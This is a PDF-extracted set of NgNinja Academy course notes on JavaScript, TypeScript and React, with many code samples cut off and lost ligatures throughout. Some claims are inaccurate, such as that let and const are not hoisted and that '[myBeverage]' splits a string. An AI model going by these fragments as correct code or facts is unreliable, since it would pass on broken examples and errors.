NgNinja Academy | All Rights Reserved
Cat.prototype.meow = function () {
console.log("meow");
};
Cat.prototype = Object.create(Animal.prototype)
Now our new misty cat object will inherit all the properties on Animal and Cat object and also the
properties on Animal.prototype and Cat.prototype
50 / 92
NgNinja Academy | All Rights Reserved
You have exam, you need a pen, but you don't have a pen
You ask your friend if they have a pen, but the don't - but they are a good friend
So they ask their friend if they have a pen, they do!
That pen gets passed to you and you can now use it
The friendship is the prototype link between them!
It is simpler
Just create and extend objects
You don't worry about classes, interfaces, abstract classes, virtual base classes, constructor,
etc...
It is more powerful
You can "mimic" multiple inheritance by extending object from multiple objects
Just handpick properties and methods from the prototypes you want
It is dynamic
You can add new properties to prototypes after they are created
This also auto-adds those properties and methods to those object which are inherited from
this prototype
It is less verbose than class-based inheritance
function Building(address) {
this.address = address
}
51 / 92
NgNinja Academy | All Rights Reserved
Building.prototype.getAddress = function() {
return this.address
}
Home.prototype.getOwner = function() {
return this.owner
}
console.log(myHome)
// Home {address: "1 Baker Street", owner: "Joe", constructor: Object}
console.log(myHome.owner) // Joe
console.log(myHome.address) // 1 Baker Street
// On Building constructor
Building.prototype.getAddress = function() {
return this.address
}
// On Home constructor
Home.prototype.getOwner = function() {
return this.owner
}
console.log(myHome.getOwner()) // Joe
console.log(myHome.getAddress()) // ERROR: myHome.getAddress is not a
function
52 / 92
NgNinja Academy | All Rights Reserved
Home.prototype = Object.create(Building.prototype)
console.log(myHome.getOwner()) // Joe
console.log(myHome.getAddress()) // 1 Baker Street
53 / 92
NgNinja Academy | All Rights Reserved
Prototype Chain
54 / 92
NgNinja Academy | All Rights Reserved
Module 5 - Advanced
JavaScript (Closures,
Method Chaining, etc.)
Hoisting in JavaScript
55 / 92
NgNinja Academy | All Rights Reserved
var bar = 1
Another example
// Function declarations
foo() // 1
function foo() {
console.log(1)
}
The variable declarations are silently moved to the very top of the current scope
Functions are hoisted rst, and then variables
But, this does not mean that assigned values (in the middle of function) will still be associated with
the variable from the start of the function
It only means that the variable name will be recognized starting from the very beginning of the
function
That is the reason, bar is undefined in this example
// Variable declarations
console.log(bar) // undefined
var bar = 1
56 / 92
NgNinja Academy | All Rights Reserved
NOTE 1: Variables and constants declared with let or const are not hoisted!
NOTE 2: Function declarations are hoisted - but function expressions are not!
// NO ERROR
foo();
function foo() {
// your logic
}
var foo is hoisted but it does not know the type foo yet
57 / 92
NgNinja Academy | All Rights Reserved
58 / 92
NgNinja Academy | All Rights Reserved
JavaScript Closures
Technical De nition: Closure is when a function is able to remember and access its lexical scope
even when that function is executing outside its lexical scope.
Whenever you see a function keyword within another function, the inner function has access to
variables in the outer function.
That is a closure.
Simply accessing variables outside of your immediate lexical scope creates a closure.
Below example is a closure
Because a is outside the scope of function foo
var a = 42;
Closures are just using variables that come from a higher scope
The function de ned in the closure ‘remembers’ the environment in which it was created
Closure happens when an inner function is de ned in outer function and is made accessible to be
called later.
59 / 92
NgNinja Academy | All Rights Reserved
And if you see the result - log() functions accurately logs the value of hello variable which was
originally declared in the parent function sayHello()
It means, the log() function has accurately "remembered" the value of the hello variable
This phenomenon is called closure
The value of hello variable is successfully locked into the closure of the log() function
function sayHello() {
var hello = 'Hello, world!';
return log;
}
60 / 92
NgNinja Academy | All Rights Reserved
IIFE
(function foo(){
// your code
})()
It is function expression
It is moreover a self-executing function - an IIFE
It wraps the inside members to the scope
It prevents from polluting the global scope
It is useful in closures
61 / 92
NgNinja Academy | All Rights Reserved
var foo = 20
function bar() {
foo = foo + 10
console.log(foo)
}
return bar
})()
sum() // 30
sum() // 40
sum() // 50
The interesting part is, the value of foo is enclosed inside the IIFE which is assigned to sum
And, sum is actually the function bar as you can see below
Every time you call function sum() it updates and remembers the new value of variable foo
Therefore, every call to the function displays the updated value of the foo
62 / 92
NgNinja Academy | All Rights Reserved
63 / 92
NgNinja Academy | All Rights Reserved
They all are used to attach a correct this to the function and invoke it
The di erence is the way of function invocation
bind
It returns a function
This returned function can later be called with a certain context set for calling the original function
The returned function needs to be invoked separately
var person = {
hello: function(message) {
console.log(this.name + " says hello " + message)
}
}
var ngNinja = {
name: "NgNinja Academy"
}
64 / 92
NgNinja Academy | All Rights Reserved
call()
var person = {
hello: function(message) {
console.log(this.name + " says hello " + message);
}
}
var ngNinja = {
name: "NgNinja Academy"
}
apply
65 / 92
NgNinja Academy | All Rights Reserved
apply also attaches this to a function and invokes the function immediately
apply is similar to call() except it takes an array of arguments instead of the comma-separated
list
var person = {
hello: function(message) {
console.log(this.name + " says hello " + message);
}
}
var ngNinja = {
name: "NgNinja Academy"
}
66 / 92
NgNinja Academy | All Rights Reserved
Asynchronous JavaScript
Callback Function
Simple example
function getName() {
return "Sleepless Yogi";
}
function greet(callbackFn) {
// call back function is executed here
const name = callbackFn();
67 / 92
NgNinja Academy | All Rights Reserved
Asynchronous programming
- This is the type of programming where actions does not take place in a
predictable order
- Example: network calls
- When you make an HTTP call you cannot predict when the call will return
- Therefore your program needs to consider this asynchronism to out the
correct results
So, basically until we have value for the name variable we cannot print the value
We then de ne fetchAndPrintUser function to fetch the user and then print the user's name
In real world this will be a network call to some user API that queries the user database for
this information
function printUser(name) {
console.log(name)
}
function fetchAndPrintUser(printCallbackFunction) {
68 / 92
NgNinja Academy | All Rights Reserved
// Execute the function to fetch user and print the user's name
fetchAndPrintUser(printUser)
Promises
Now that you have understood what is asynchronous programming and what are callbacks
The example we saw earlier was contrived and simple - so you might not notice much di erence
BUT! in the real world applications promises simpli es the code to a great extent
TIP: When reading through this example try and compare with how we implemented the same
requirement using callbacks
As before we de ne the fetchAndPrintUser function which fetches the user details and prints
the user
But, this time instead of passing any callback function we create a new promise
69 / 92
NgNinja Academy | All Rights Reserved
What is a promise?
The Promise object itself takes a callback function with two functions as parameters
reject - function to be called if there was some error during data retrieval
So, in the example below we return Promise from the fetchAndPrintUser function
If there were any network error or some server failue - we would return error by rejecting the
promise
function fetchAndPrintUser() {
// simulate error
// when error occurs we reject the promise
if(someError) {
reject('Error ocurred!')
}
70 / 92
NgNinja Academy | All Rights Reserved
This means if the data is correctly resolved the execution goes in the then() block
Where you can do any other thing with the result data
If the promise was rejected due to some error the execution would go in the catch() block
Promise.all
Let's see how to handle if you want to fetch via multiple APIs and then perform some operation on
the entire dataset
This naive way would be to declare multiple promises and then perform operations when all
promises are resolved
71 / 92
NgNinja Academy | All Rights Reserved
Like below
If you had 3 or 10 or 100 promises - can you imagine how much nesting you would have to do?
Enter promise.all!!!
Basically using this you can wait for all the promises to resolved and then only perform the next
operations
Promise.all([userPromise, orderPromise])
.then((data) => {
Async-await
Similar to callback and promises, we have another paradigm for handling async programming
It is called Async-await
If you are comfortable with synchronous programming this method will be much easy to
understand
If your function is awaiting on some asynchronous data you have to de ne your function as async
And you have to use await keyword for the function call that is making the network API call
73 / 92
NgNinja Academy | All Rights Reserved
We have de ned fetchAndPrintUser function which fetches the user name and prints it
fetchUserData is the function that is making network call to the API to fetch the user data
To handle errors using async-await you have to wrap the code inside try-catch block
Like below
} catch (error) {
74 / 92
NgNinja Academy | All Rights Reserved
75 / 92
NgNinja Academy | All Rights Reserved
JavaScript Classes
class Person {
constructor(name) {
this.name = name
}
}
Class methods
76 / 92
NgNinja Academy | All Rights Reserved
class Person {
constructor(name) {
this.name = name
}
getName() {
return this.name
}
}
john.getName() // John
JavaScript class is just syntactic sugar for constructor functions and prototypes
If you use typeof operator on a class it logs it as "function"
This proves that in JavaScript a class is nothing but a constructor function
example:
class Foo {}
console.log(typeof Foo); // "function"
Below example demonstrates how to achieve the same result using vanilla functions and using new
classes
You can notice how using class make your code cleaner and less verbose
77 / 92
NgNinja Academy | All Rights Reserved
Using class also makes it more intuitive and easier to understand for Developer coming from
class-based languages like Java and C++
Man.prototype = Object.create(Person.prototype)
Man.prototype.constructor = Man
console.log(John.name) // John
console.log(John.gender) // Male
class Person {
constructor(name){
this.name = name
}
}
78 / 92
NgNinja Academy | All Rights Reserved
console.log(John.name) // John
console.log(John.gender) // Male
79 / 92
NgNinja Academy | All Rights Reserved
let
let keyword works very much like var keyword except it creates block-scoped variables
let keyword is an ideal candidate for loop variables, garbage collection variables
80 / 92
NgNinja Academy | All Rights Reserved
Example of let
var x declares a function scope variable which is available throughout the function
checkLetKeyword()
let x declares a block scope variable which is accessible ONLY inside the if-block
So, after the if-block the value of x is again 10
function checkLetKeyword() {
var x = 10
console.log(x) // 10
console.log(x) // 20
}
console.log(x) // 10
}
const
81 / 92
NgNinja Academy | All Rights Reserved
Tricky const
If you de ned a constant array using const you can change the elements inside it
You cannot assign a di erent array to it
But, you can add or remove elements from it
This is because const does NOT de ne a constant value. It de nes a constant reference to a value.
Example below:
MY_GRADES.push(4) // [1, 2, 3, 4]
82 / 92
NgNinja Academy | All Rights Reserved
Arrow Functions
// syntax
// example
83 / 92
NgNinja Academy | All Rights Reserved
Another example
// example
84 / 92
NgNinja Academy | All Rights Reserved
Lexical this
It means forcing the this variable to always point to the object where it is physically located within
This phenomenon is called as Lexical Scoping
Arrow function let's you achieve a lexical this via lexical scoping
Unlike a regular function, an arrow function does not bind this
It preserves the original context
It means that it uses this from the code that contains the Arrow Function
But, getName() gives an error because this is unde ned inside the function
Because in traditional function this represent the object that calls the function
And we have not assigned any object to the function invocation
85 / 92
NgNinja Academy | All Rights Reserved
var person = {
name: 'John',
printName: function(){
console.log(this.name); // John
// John
console.log(getNameArrowFunction())
person.printName()
86 / 92
NgNinja Academy | All Rights Reserved
Destructuring Operator
It lets you unpack values from arrays, or properties from objects, into distinct variables
console.log(a) // 1
console.log(b) // 2
Your name of the variables should match the name of the properties
Order does not matter
let { b, a } = {
a: 1,
b: 2
}
console.log(a) // 1
87 / 92
NgNinja Academy | All Rights Reserved
console.log(b) // 2
Rest Operator
function log() {
log(1) // 1
log(1, 2, 3) // 1, 2, 3
It will assign all the remaining parameters to a rest-variable after those that were already assigned
numbersToLog is the rest-variable in the example below
Rest operator puts all the remaining arguments in an array and assigns it to the rest-variable
88 / 92
NgNinja Academy | All Rights Reserved
add(1, 2, 3)
Spread Operator
Example
89 / 92
NgNinja Academy | All Rights Reserved
Below example spread array1 to a comma-separated list of values into the array2
// array2 = [1, 2, 3, 4, 5]
Spread tricks
Concat array
// Without spread
var beverages = arr1.concat(arr2)
// With spread
var beverages = [...arr1, ...arr2]
// result
// ['coffee', 'tea', 'milk', 'juice', 'smoothie']
90 / 92
NgNinja Academy | All Rights Reserved
// Without spread
var arr1Copy = arr1.slice()
// With spread
const arr1Copy = [...arr1]
// Without spread
// Iterate over the array add it to object as property
// If value present in the object skip it
// Else push it to another array
// With spread
const arr1Copy = [...new Set(arr1)]
// result
// ['coffee', 'tea', 'milk']
// Without spread
var bevArr = myBeverage.split('')
// With spread
var bevArr = [myBeverage]
// result
91 / 92
NgNinja Academy | All Rights Reserved
// Without spread
var max = Math.max(3, 2, 1, 5, -10)
// With spread
var myNums = [3, 2, 1, 5, -10]
var max = Math.max(...myNums)
// result
// 5
92 / 92
NgNinja Academy | All Rights Reserved
TypeScript
Table Of Content
1 / 34
NgNinja Academy | All Rights Reserved
Partial Type
Required Type
Readonly
Pick
Omit
Extract
Exclude
Record
NonNullable
Type guards
typeof
instanceof
in
2 / 34
NgNinja Academy | All Rights Reserved
What is TypeScript?
More on TypeScript
3 / 34 ?
NgNinja Academy | All Rights Reserved
Generics
Type annotations
Above 2 features are not available in ES6
Basically, TypeScript acts as your buddy programmer when you are pair programming with
someone
It supports OOP
Automated documentation
4 / 34
NgNinja Academy | All Rights Reserved
No boilerplate code
5 / 34
NgNinja Academy | All Rights Reserved
Install TypeScript
Open terminal
Run following command to install typescript globally
You can access it from any folder
You will need yarn or npm installed already on your system
TIP: You can play around with TypeScript using their o cial playground
6 / 34
NgNinja Academy | All Rights Reserved
tsc --init
{
"compilerOptions": {
"target": "es5",
"noImplicitAny": true,
"outDir": "public/js"
"rootDir": "src",
},
}
Run the following command from your project root to compile all the typescript les into
JavaScript
It will throw an error if any part of the le is not following the rule-set you de ned under
compilerOptions
7 / 34
NgNinja Academy | All Rights Reserved
tsc
You can also compile single le by running the command like below
tsc ninjaProgram.ts
tsc -w
Data types
any
Supertype of all data types
Its the dynamic type
Use it when you want to opt out of type checking
Builtin types
Number, string, boolean, void, null, unde ned
Number is double precision -> 64-bit oats
User de ned types
Arrays, enums, classes, interfaces
Examples
8 / 34
NgNinja Academy | All Rights Reserved
More Examples
9 / 34
NgNinja Academy | All Rights Reserved
Variable scopes
Global scope
Declare outside the programming constructs
Accessed from anywhere within your code
function printName() {
console.log(name)
}
Class scope
Also called elds
Accessed using object of class
Static elds are also available... accessed using class name
class User {
name = "sleepless yogi"
}
console.log(yogi.name)
10 / 34
NgNinja Academy | All Rights Reserved
Local scope
Declared within methods, loops, etc ..
Accessible only withing the construct where they are declared
vars are function scoped
let are block scoped
Class inheritance
class PrinterClass {
doPrint():void {
console.log("doPrint() from Parent called…")
}
}
// outputs
doPrint() from Parent called…
11 / 34
NgNinja Academy | All Rights Reserved
Data hiding
Access modi ers and access speci ers are used for this purpose
Public
class User {
public name: string
console.log(yogi.name) // valid
console.log(yogi.getName()) // valid
Private
Member are accessible only within its class
class User {
12 / 34
NgNinja Academy | All Rights Reserved
// private member
#name: string
constructor(theName: string) {
this.name = theName;
}
}
console.log(yogi.name) // invalid
Protected
Similar to private members
But, members are accessible by members within same class and its child classes
class User {
// protected member
protected name: string
constructor(theName: string) {
this.name = theName;
}
}
public getDetails() {
return `Hello, my name is ${this.name} and I study in
${this.college}.`;
}
}
console.log(yogi.name) // invalid
console.log(yogi.college) // invalid
console.log(yogi.getDetails()) // valid
13 / 34
NgNinja Academy | All Rights Reserved
Interface
Example
IPerson is an interface
It de nes two members
name as string
sayHi as a function
interface IPerson {
name: string,
sayHi?: () => string
}
14 / 34
NgNinja Academy | All Rights Reserved
Optional members:
So, the objects that implements that interface need not define the "sayHi"
function
Namespaces
namespace SomeNameSpaceName {
export interface ISomeInterfaceName { }
15 / 34
NgNinja Academy | All Rights Reserved
Classes or interfaces which should be accessed outside the namespace should be marked with
keyword export
//FileName : MyNameSpace.ts
namespace MyNameSpace {
// nested namespace
export namespace MyNestedNameSpace {
}
}
}
16 / 34
NgNinja Academy | All Rights Reserved
Enums
enum Direction {
Up = 1,
Down,
Left,
Right
}
let a = Enum.A;
let nameOfA = Enum[Enum.Up]; // "Up"
17 / 34
NgNinja Academy | All Rights Reserved
any vs unknown
void vs never
void return void, never never return
void can be thought of as a type containing a single value
no means to consume this value though
but a void function can be thought of returning such value
never is a type containing no values
meaning function with this return type can never return normally at all
either throw exception or reject promise or failing to terminate
If you know the types you can just start using things from other modules
Without worrying about breaking your code
doSomething(m) {
// m.count is undefined
// and undefined not greater than 2
// so returns "small"
return m.count > 2 ? 'big' : 'small'
19 / 34
NgNinja Academy | All Rights Reserved
validate(arr) {
if(!Array.isArray(arr)) {
throw new Error('arr must be an Array')
}
}
Type assertion
S is a subtype of T
OR...
T is a subtype of S
Example
20 / 34
NgNinja Academy | All Rights Reserved
21 / 34
NgNinja Academy | All Rights Reserved
Generics
Gives ability to create a component that can work over a variety of types
Rather than only a single one
Consumer can then consume these components and use their own types
Simple example
Basically we can use Generics to create one function to support multiple types
22 / 34
NgNinja Academy | All Rights Reserved
Advanced example
// T will number
// it will return 3
const lastNum = last([1, 2, 3]);
// T will be string
// it will return "c"
const lastString = last(["a", "b", "c"]);
Intersection Types
23 / 34
NgNinja Academy | All Rights Reserved
type A = {
id: number
foo: string
}
type B = {
id: number
bar: string
}
type A = {
bar: number
}
type B = {
bar: string
}
Union Types
24 / 34
NgNinja Academy | All Rights Reserved
val = 12
console.log("numeric value of val " + val)
Advanced example
You can combine intersection types and union types to x the above code snipped
Like below
type A = {
bar: string | number
}
type B = {
bar: string | number
}
25 / 34
NgNinja Academy | All Rights Reserved
type C = A & B
Partial Type
It is a utility type
Can be used to manipulate types easily
Partial allows you to make all properties of the type T optional
Partial<T>
Example
type Customer {
id: string
name: string
age: number
}
26 / 34
NgNinja Academy | All Rights Reserved
Required Type
type Customer {
id: string
name?: string
age?: number
}
Readonly
type Customer {
id: string
name: string
}
27 / 34
NgNinja Academy | All Rights Reserved
type Customer {
id: string
readonly name: string
}
Pick
type Customer {
id: string
name: string
age: number
}
28 / 34
NgNinja Academy | All Rights Reserved
// logic
}
Omit
type Customer {
id: string
name: string
age: number
}
29 / 34
NgNinja Academy | All Rights Reserved
Extract
type Customer {
id: string
name: string
age: number
}
type Employee {
id: string
name: string
salary: number
}
Exclude
type Customer {
id: string
name: string
age: number
}
30 / 34
NgNinja Academy | All Rights Reserved
type Employee {
id: string
name: string
salary: number
}
Record
type Customer {
id: string
name: string
age: number
}
NonNullable
31 / 34
NgNinja Academy | All Rights Reserved
Then if you pass null or undefined to the type your app linter will throw an error
addTask("task-1")
// valid call
addTask(1)
// valid call
addTask(null)
// Error: Argument of type 'null' is not assignable
addTask(undefined)
// Error: Argument of type 'undefined' is not assignable
Type guards
typeof
32 / 34
NgNinja Academy | All Rights Reserved
else {
// No! not a number logic
}
instanceof
class Task {
// class members
}
class Person {
// class members
}
in
type Task {
taskId: string
description: string
33 / 34
NgNinja Academy | All Rights Reserved
34 / 34
NgNinja Academy | All Rights Reserved
ReactJS
Table Of Content
1 / 71
NgNinja Academy | All Rights Reserved
Thinking in components
Component Render
Function Components
Class Components
NOTE: Please prefer using Function components with React hooks whenever you need
to create component that need to track it's internal state.
Pure components
Reusing Components
States And Props
States
Props
Event Handling
Bind this
Passing Arguments
Two Way Binding
One way data binding
Two Way - 2 way binding
Module 3 - Styling your components
Inline Styles
CSS Stylesheets
Dynamic Styles
Module 4 - Advanced React
Conditional Rendering
Outputting Lists
Keys
Higher Order Components
Cons of HOC
Render Props
Con
Component Lifecycle
initialization
mounting
componentWillMount()
componentDidMount()
static getDerivedStateFromProps()
updating
componentWillReceiveProps()
shouldComponentUpdate()
getSnapshotBeforeUpdate()
componentWillUpdate()
componentDidUpdate()
unmount
Error handling
componentDidCatch()
Module 5 - React hooks
React Hooks Basics
2 / 71
NgNinja Academy | All Rights Reserved
3 / 71
NgNinja Academy | All Rights Reserved
What is react?
Features
4 / 71
NgNinja Academy | All Rights Reserved
Other Bene ts
Limitations
5 / 71
NgNinja Academy | All Rights Reserved
6 / 71
NgNinja Academy | All Rights Reserved
SPA
Single-page application
You load the app code JUST once
The JavaScript framework (like React, AngularJS) intercepts the browser events
Instead of making a new request to the server that then returns a new document
Behaves more like a desktop application
You don't need to refresh the page for updates
Your framework handles reload internally
Some examples:
Gmail
Google Maps
Google Drive
Pros
7 / 71
NgNinja Academy | All Rights Reserved
Cons
8 / 71
NgNinja Academy | All Rights Reserved
Installing React
Prerequisites
Install Node
node -v
// output - v8.9.4
9 / 71
NgNinja Academy | All Rights Reserved
Install Yarn
Online Playgrounds
If you just want to play around with React to test it out follow these links
Codepen - https://codepen.io/pen?&editable=true&editors=0010
Sandbox - https://codesandbox.io/s/new
10 / 71
NgNinja Academy | All Rights Reserved
Developing locally is good for testing but you may want to deploy your amazing app to the
internet for the world to see
You can do it for free by using services like Netlify, Firebase, and many others
We will look at how to deploy your app to the internet using Netlify
Netlify is a great service that lets you deploy static sites for free
It also includes tooling around managing your deployment process
Deploy to Netlify
If you want an easy way to deploy your simple HTML and CSS page follow these steps
Go to Netlify Drop
Drop the folder that contains your HTML and CSS le on that page where it says Drag and drop
your site folder here
And Voila! It should create a unique URL for your project
URL will look something like this https://happy-ramanujan-9ca090.netlify.com/
11 / 71
NgNinja Academy | All Rights Reserved
React JSX
It is JavascriptXML
It is used for templating
Basically to write HTML in React
It lets you write HTML-ish tags in your javascript
It's an extension to ECMAScript
Which looks like XML
You can also use plain JS with React
You don't HAVE to use JSX
But JSX is recommended
JSX makes code more readable and maintainable
Ultimately Reacts transforms JSX to JS
Performs optimization
JXK is type safe
so errors are caught at compilation phase
// With JSX
const myelement = <h1>First JSX element!</h1>;
ReactDOM.render(myelement, document.getElementById('root'));
12 / 71
NgNinja Academy | All Rights Reserved
// Without JSX
ReactDOM.render(myelement, document.getElementById('root'));
JSX is not JS
So won't be handled by browsers directly
You need to include React.createElement so that React can understand it
We need babel to transpile it
whitespaces
React removes spaces by default
You speci cally give it using {' '}...
For adding margin padding
// JSX
const body = (
<body>
<span>Hello</span>
13 / 71
NgNinja Academy | All Rights Reserved
<span>World</span>
</body>
)
Children props
They are special kind of props
You will learn about props more in the following sections
Whatever we put between tags is children
Received as props.children
<User age={56}>Brad</User>
// Same as
<User age={56} children="Brad" />
14 / 71
NgNinja Academy | All Rights Reserved
Virtual DOM
This is said to be one of the most important reasons why React app performances is very good
You know that Document Object Model or DOM is the tree representation of the HTML page
Virtual DOM is just a JavaScript object that represents the DOM nodes
Updating JavaScript object is e cient and fast
Virtual DOM is the blueprint of the DOM - the actual building
React listens to the changes via observables to nd out which components changed and need to
be updated
Di ng
15 / 71
NgNinja Academy | All Rights Reserved
16 / 71
NgNinja Academy | All Rights Reserved
React Components
// As a root component
// As a child component
<div>
<FirstComponent />
</div>
17 / 71
NgNinja Academy | All Rights Reserved
Thinking in components
It has a title
Then at the bottom of the page - there are actions you can take
Best thing about React is you don't have to implement this entire page in a single le
You can break this TODO page into logical parts and code them separately
And then join them together linking them with line of communication between them
See below
18 / 71
NgNinja Academy | All Rights Reserved
Yes - they all have a title and a checkbox to mark them complete
So, that should instantly spark an idea in you that this part can be refactored out into it's own
component
Like below
19 / 71
NgNinja Academy | All Rights Reserved
</div>
)
}
}
You can go even further and refactor out the checkbox and label into its own component
I'd highly suggest you to do that because it will keep your code cleaner and give you an
opportunity to customize it however you like
Similar to our TODOItem component we can refactor out the actions too
See below
20 / 71
NgNinja Academy | All Rights Reserved
return (
<div>
<button title="Clear"/>
<button title="Add"/>
</div>
)
}
}
Component Render
21 / 71
NgNinja Academy | All Rights Reserved
ReactDOM.render(<p>Hi!</p>, document.getElementById('root'));
22 / 71
NgNinja Academy | All Rights Reserved
Function Components
function FirstComponent() {
return <h2>Hi, I am also a Car!</h2>;
}
Class Components
23 / 71
NgNinja Academy | All Rights Reserved
// Class component
render() {
return <h2>I am a class component!</h2>;
}
}
NOTE: Please prefer using Function components with React hooks whenever you
need to create component that need to track it's internal state.
24 / 71
NgNinja Academy | All Rights Reserved
Pure components
// App is a PureComponent
class App extends PureComponent {
state = {
val: 1
}
componentDidMount(){
setInterval(()=> {
this.setState(()=>{
return { val : 1}
});
}, 2000)
}
render() {
console.log('render App');
return (
<div className="App">
<Temp val={this.state.val}/>
</div>
);
}
}
25 / 71
NgNinja Academy | All Rights Reserved
Reusing Components
26 / 71
NgNinja Academy | All Rights Reserved
States
changeUserName = () => {
// NOTE: this will NOT change this.state.array
this.setState({
userName: 'rjNinja'
});
}
render() {
return (
<div>
<p>
It is a {this.state.userName}
</p>
<button
type="button"
onClick={this.changeColor}
27 / 71
NgNinja Academy | All Rights Reserved
>Change UserName</button>
</div>
);
}
}
Props
// In Parent component
<Child name="Dan" id="101"></Child>
28 / 71
NgNinja Academy | All Rights Reserved
Event Handling
function handleClick(e) {
e.preventDefault();
}
Bind this
29 / 71
NgNinja Academy | All Rights Reserved
render() {
return (
<button onClick={this.drive}>DRIVE</button>
);
}
}
Passing Arguments
// event handler
drive = (a) => {
alert(a);
}
30 / 71
NgNinja Academy | All Rights Reserved
Idea of two way data binding is that the state of the component and the view that user sees
remains in sync all the time
Two Way data binding is not available by default - out of the box like AngularJS
You need event handling to do that
31 / 71
NgNinja Academy | All Rights Reserved
We can listen on this event and update the state of the component with the value that user typed
And the state of component becomes the source of the truth - meaning its value is then fed to the
view that user sees
Below code example is how you update state with the value entered on the input
onHandleChange(event) {
this.setState({
homeLink: event.target.value
});
}
32 / 71
NgNinja Academy | All Rights Reserved
Inline Styles
Tip: Styles should live close to where they are used - near your component
render() {
return (
<div>
<h1 style={styleObject}>Hi</h1>
</div>
);
}
}
33 / 71
NgNinja Academy | All Rights Reserved
render() {
return (
<div>
<h1 style={{backgroundColor: "blue"}}>Hi</h1>
</div>
);
}
CSS Stylesheets
For bigger applications it is recommended to break out styles into separate les
This way you can also reuse styles in multiple components by just importing the CSS le
// style.css file
.myStyle {
color: "red";
backgroundColor: "blue";
}
// component.js file
import './style.css';
34 / 71
NgNinja Academy | All Rights Reserved
Dynamic Styles
onHandleChange(event) {
if(error) {
this.setState({
color: "red"
});
}
else {
this.setState({
homeLink: event.target.value
});
}
You can also dynamically change the class names instead of individual styles
// Traditional way
<input type="text" className={'valid ' + this.state.newClass} />
35 / 71
NgNinja Academy | All Rights Reserved
Conditional Rendering
React components lets you render conditionally using traditional conditional logic
This is useful in situations for example: showing loading state if data is not yet retrieved else show
the component details when data is retrieved
You can use if..else or ternary or short-circuit operators to achieve this
// IF-ELSE
// displayed conditionally
function SayGreeting() {
if (loading) {
return <div>Loading</div>;
} else {
return <Greeting />; // displays: Hello
}
}
function SayGreeting() {
const isAuthenticated = checkAuth();
return (
<div>
{/* if isAuth is true, show AuthLinks. If false, Login */}
{isAuthenticated ? <Greeting /> : <Loading />}
Outputting Lists
A little advanced example where you have a component that accepts list of numbers through
props
37 / 71
NgNinja Academy | All Rights Reserved
function NumberList(props) {
const numbers = props.numbers;
const listItems = numbers.map((number) =>
<div>{number}</div>
);
return (
<div>{listItems}</div>
);
}
Keys
When you run the above code it will give you a warning that a key should be provided to each of
the item
Also, when you provide that key it should be unique for each item
You can modify the code to below
38 / 71
NgNinja Academy | All Rights Reserved
39 / 71
NgNinja Academy | All Rights Reserved
It is a design pattern
Not speci cally for React - but widely used in React
It is a technique for reusing component logic
Higher-order component is a function that takes a component and returns a new component
It is used to move out the shared same functionality across multiple components
Example: manage the state of currently logged in users in your application
create a higher-order component to separate the logged in user state into a container
component
then pass that state to the components that will make use of it
// commonStyles.js
// this is used by HOC
const styles = {
default : {
backgroundColor: '#737373',
color: '#eae8e8',
},
disable : {
backgroundColor: '#9c9c9c',
color: '#c7c6c6',
}
}
// HOC
if(props.disable){
40 / 71
NgNinja Academy | All Rights Reserved
// USAGE of HOC
export default MyHOC(ButtonOne);
Cons of HOC
41 / 71
NgNinja Academy | All Rights Reserved
Render Props
Con
// Section
const Section = ({children}) => {
const number = 1000;
return children(number);
};
// App
<Section>
{({number}) => (
<div>
<p>You are at {number}</p>
</div>
)}
</Section>
42 / 71
NgNinja Academy | All Rights Reserved
43 / 71
NgNinja Academy | All Rights Reserved
Component Lifecycle
initialization
This is where we de ne defaults and initial values for this.props and this.state
Implementing getDefaultProps() and getInitialState()
mounting
44 / 71
NgNinja Academy | All Rights Reserved
This phase methods are called after getInitialState() and before render()
componentWillMount()
componentDidMount()
This method is executed after rst render -> executed only on client side
This is a great place to set up initial data
Child component's componentDidMount runs before parent's componentDidMount
It runs only once
You can make ajax calls here
You can also setup any subscriptions here
NOTE: You can unsubscribe in componentWillUnmount
static getDerivedStateFromProps()
This method is called (or invoked) before the component is rendered to the DOM on initial mount
It allows a component to update its internal state in response to a change in props
Remember: this should be used sparingly as you can introduce subtle bugs into your application if
you aren’t sure of what you’re doing.
To update the state -> return object with new values
Return null to make no updates
45 / 71
NgNinja Academy | All Rights Reserved
updating
componentWillReceiveProps()
shouldComponentUpdate()
46 / 71
NgNinja Academy | All Rights Reserved
shouldComponentUpdate(nextProps, nextState) {
return this.state.value != nextState.value;
}
getSnapshotBeforeUpdate()
getSnapshotBeforeUpdate(prevProps, prevState) {
return null;
}
Value queried from the DOM in getSnapshotBeforeUpdate will refer to the value just before the
DOM is updated
Think of it as staged changes before actually pushing to the DOM
Doesn't work on its own
It is meant to be used in conjunction with the componentDidUpdate lifecycle method.
Example usage:
in chat application scroll down to the last chat
componentWillUpdate()
47 / 71
NgNinja Academy | All Rights Reserved
It is similar to componentWillMount
You can set variables based on state and props
Remember: do not setState here -> you will go into an in nite loop
componentDidUpdate()
unmount
componentWillUnmount(){
this.unsubscribe();
48 / 71
NgNinja Academy | All Rights Reserved
Error handling
static getDerivedStateFromError()
Whenever an error is thrown in a descendant component, this method is called rst
static getDerivedStateFromError(error) {
console.log(`Error log from getDerivedStateFromError: ${error}`);
return { hasError: true };
}
componentDidCatch()
componentDidCatch(error, info) {
49 / 71
NgNinja Academy | All Rights Reserved
50 / 71
NgNinja Academy | All Rights Reserved
51 / 71
NgNinja Academy | All Rights Reserved
function MyComponent() {
function MyComponent() {
return (
<div>
<button onClick={() => setLanguage("javascript")}>
I love JS
</button>
<p>I love {language}</p>
</div>
);
52 / 71
NgNinja Academy | All Rights Reserved
53 / 71
NgNinja Academy | All Rights Reserved
E ects scheduled with useEffect don’t block the browser from updating the screen
Unlike the class based lifecycle
By using this Hook, you tell React that your component needs to do something after rendering
Does useEffect run after every render? Yes!
You can add multiple useEffect hook functions to do di erent things in a single component
That is the beauty of useEffect
Cleanup
54 / 71
NgNinja Academy | All Rights Reserved
React also cleans up e ects from the previous render before running the e ects next time
function MyComponent() {
const [count, setCount] = useState(0);
55 / 71
NgNinja Academy | All Rights Reserved
return (
<>
<input type="text" ref={myInput} />
<button onClick={focusMyInput}>Focus input</button>
</>
);
56 / 71
NgNinja Academy | All Rights Reserved
NOTE: you can use createRef if you are using Class components
return (
<div>
<div>
<div>myCounter : {myCounter.current}</div>
<input type="button" onClick = {() => updateState()} value="Update
myCounter"></input>
</div>
</div>
);
}
57 / 71
NgNinja Academy | All Rights Reserved
Context
React.createContext
Context provider
We need a context provider to make the context available to all our React components
This provider lets consuming components to subscribe to context changes
58 / 71
NgNinja Academy | All Rights Reserved
function MyComponent() {
const theme = "light";
return (
